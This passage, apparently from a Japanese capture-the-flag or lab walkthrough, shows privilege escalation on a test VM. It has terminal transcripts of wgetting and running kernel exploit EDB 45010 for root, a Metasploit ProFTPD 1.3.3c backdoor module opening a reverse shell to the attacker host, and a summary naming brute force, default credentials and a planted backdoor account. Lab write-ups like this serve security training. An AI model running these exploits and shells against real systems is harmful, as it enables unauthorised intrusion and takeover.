Configured with: ../src/configure -v --with-pkgversion='Ubuntu 5.4.0-6ubuntu1~16.04.12' --with-bugurl=file:///usr/share/doc/gcc-5/README.Bugs --enable-languages=c,ada,c++,java,go,d,fortran,objc,obj-c++ --prefix=/usr --program-suffix=-5 --enable-shared --enable-linker-build-id --libexecdir=/usr/lib --without-included-gettext --enable-threads=posix --libdir=/usr/lib --enable-nls --with-sysroot=/ --enable-clocale=gnu --enable-libstdcxx-debug --enable-libstdcxx-time=yes --with-default-libstdcxx-abi=new --enable-gnu-unique-object --disable-vtable-verify --enable-libmpx --enable-plugin --with-system-zlib --disable-browser-plugin --enable-java-awt=gtk --enable-gtk-cairo --with-java-home=/usr/lib/jvm/java-1.5.0-gcj-5-amd64/jre --enable-java-home --with-jvm-root-dir=/usr/lib/jvm/java-1.5.0-gcj-5-amd64 --with-jvm-jar-dir=/usr/lib/jvm-exports/java-1.5.0-gcj-5-amd64 --with-arch-directory=amd64 --with-ecj-jar=/usr/share/java/eclipse-ecj.jar --enable-objc-gc --enable-multiarch --disable-werror --with-arch-32=i686 --with-abi=m64 --with-multilib-list=m32,m64,mx32 --enable-multilib --with-tune=generic --enable-checking=release --build=x86_64-linux-gnu --host=x86_64-linux-gnu --target=x86_64-linux-gnu
Thread model: posix
gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.12) 
www-data@vtcsec:/tmp$ 
```

`SimpleHTTPServer.py`を使用して、`Kali Linux`にWebサーバーをセットアップし、標的から`45010.c`ファイルをwgetできるようにします。

```
root@kali:~# locate 45010.c
/usr/share/exploitdb/exploits/linux/local/45010.c
root@kali:~# cp /usr/share/exploitdb/exploits/linux/local/45010.c ~
root@kali:~# python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...
```

標的の`/tmp`ディレクトリに、`45010.c`ファイルを取得します。

```
www-data@vtcsec:/$ cd /tmp
cd /tmp

www-data@vtcsec:/tmp$ wget http://172.16.208.192:8080/45010.c
wget http://172.16.208.192:8080/45010.c
--2019-11-09 21:10:12--  http://172.16.208.192:8080/45010.c
Connecting to 172.16.208.192:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 13728 (13K) [text/plain]
Saving to: '45010.c'

45010.c             100%[===================>]  13.41K  --.-KB/s    in 0s      

2019-11-09 21:10:12 (147 MB/s) - '45010.c' saved [13728/13728]
```

`45010.c`ファイルをコンパイルします。コンパイルされたバイナリファイル`45010`に実行権限を付与し、実行します。
その結果、root権限への昇格に成功しました。

```
www-data@vtcsec:/tmp$ gcc 45010.c -o 45010
gcc 45010.c -o 45010
www-data@vtcsec:/tmp$ ls -l 45010*
ls -l 45010*
-rwxrwxrwx 1 www-data www-data 18432 Nov  9 21:11 45010
-rw-rw-rw- 1 www-data www-data 13728 Nov  9 21:03 45010.c
www-data@vtcsec:/tmp$ chmod +x 45010
chmod +x 45010
www-data@vtcsec:/tmp$ ./45010
./45010
[.] 
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
[.] 
[.]   ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **
[.] 
[*] creating bpf map
[*] sneaking evil bpf past the verifier
[*] creating socketpair()
[*] attaching bpf backdoor to socket
[*] skbuff => ffff8a5bb704e000
[*] Leaking sock struct from ffff8a5b20d5f000
[*] Sock->sk_rcvtimeo at offset 592
[*] Cred structure at ffff8a5b2714b3c0
[*] UID from cred structure: 33, matches the current: 33
[*] hammering cred structure at ffff8a5b2714b3c0
[*] credentials patched, launching shell...
# whoami
whoami
root
# id
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
```

### FTP アプローチ
`searchsploit`コマンドを使って、[Exploit-DB](https://www.exploit-db.com/)に掲載されている`exploit`コードを検索してみましょう。

```
root@kali:~# searchsploit Proftpd 1.3.3c
------------------------------------------ ----------------------------------------
 Exploit Title                            |  Path
                                          | (/usr/share/exploitdb/)
------------------------------------------ ----------------------------------------
ProFTPd 1.3.3c - Compromised Source Backd | exploits/linux/remote/15662.txt
ProFTPd-1.3.3c - Backdoor Command Executi | exploits/linux/remote/16921.rb
------------------------------------------ ----------------------------------------
Shellcodes: No Result
root@kali:~# 
```

続いて、`Metasploit Framework`にて該当するコードを検索してみます。

```
msf > search ProFTP 1.3.3c
[!] Module database cache not built yet, using slow search

Matching Modules
================

   Name                                         Disclosure Date  Rank       Description
   ----                                         ---------------  ----       -----------
   exploit/freebsd/ftp/proftp_telnet_iac        2010-11-01       great      ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)
   exploit/linux/ftp/proftp_sreplace            2006-11-26       great      ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)
   exploit/linux/ftp/proftp_telnet_iac          2010-11-01       great      ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)
   exploit/linux/misc/netsupport_manager_agent  2011-01-08       average    NetSupport Manager Agent Remote Buffer Overflow
   exploit/unix/ftp/proftpd_133c_backdoor       2010-12-02       excellent  ProFTPD-1.3.3c Backdoor Command Execution
   exploit/unix/ftp/proftpd_modcopy_exec        2015-04-22       excellent  ProFTPD 1.3.5 Mod_Copy Command Execution
   exploit/windows/ftp/proftp_banner            2009-08-25       normal     ProFTP 2.9 Banner Remote Buffer Overflow


msf > 
```

`1.3.3c Backdoor Command Execution`を使うことができそうです。
`use exploit/unix/ftp/proftpd_133c_backdoor`を指定し、`show options`コマンドにてモジュールの実行に必要となるオプションを確認し、指定します。

```
msf > use exploit/unix/ftp/proftpd_133c_backdoor 
msf exploit(unix/ftp/proftpd_133c_backdoor) > show options

Module options (exploit/unix/ftp/proftpd_133c_backdoor):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  21               yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(unix/ftp/proftpd_133c_backdoor) > set RHOST 172.16.208.188
RHOST => 172.16.208.188
msf exploit(unix/ftp/proftpd_133c_backdoor) > 
```

エクスプロイトコードを実行した結果、root権限への昇格に成功しました。

```
msf exploit(unix/ftp/proftpd_133c_backdoor) > exploit

[*] Started reverse TCP double handler on 172.16.208.192:4444 
[*] 172.16.208.188:21 - Sending Backdoor Command
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo l2OMTNHa9J3xdwGt;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "l2OMTNHa9J3xdwGt\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (172.16.208.192:4444 -> 172.16.208.188:39210) at 2019-11-07 14:05:43 +0900

whoami
root
id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
hostname
vtcsec
```
# まとめ
## 一般ユーザのアクセス権取得
1. WordPressの管理コンソールにブルートフォース攻撃を仕掛け、管理コンソールのアカウントが初期設定のまま（`admin/admin`）運用されていることを特定しました。

## 特権昇格
1. `Metasploit Framework`の`proftpd_133c_backdoor`モジュールを使い、特権昇格を行いました。
2. `searchsploit`コマンドを使って脆弱性（[EDB-ID: 45010](https://www.exploit-db.com/exploits/45010)）を特定し、特権昇格を行いました。
3. 脆弱なアカウント（ユーザ名とパスワードが同一）に`sudo`権限が付与されていることを特定しました。
4. `/etc/passwd`ファイルのアクセス権が全てのユーザーによる読み書きが許可されていることをつき、バックドアアカウントを新たに設置しました。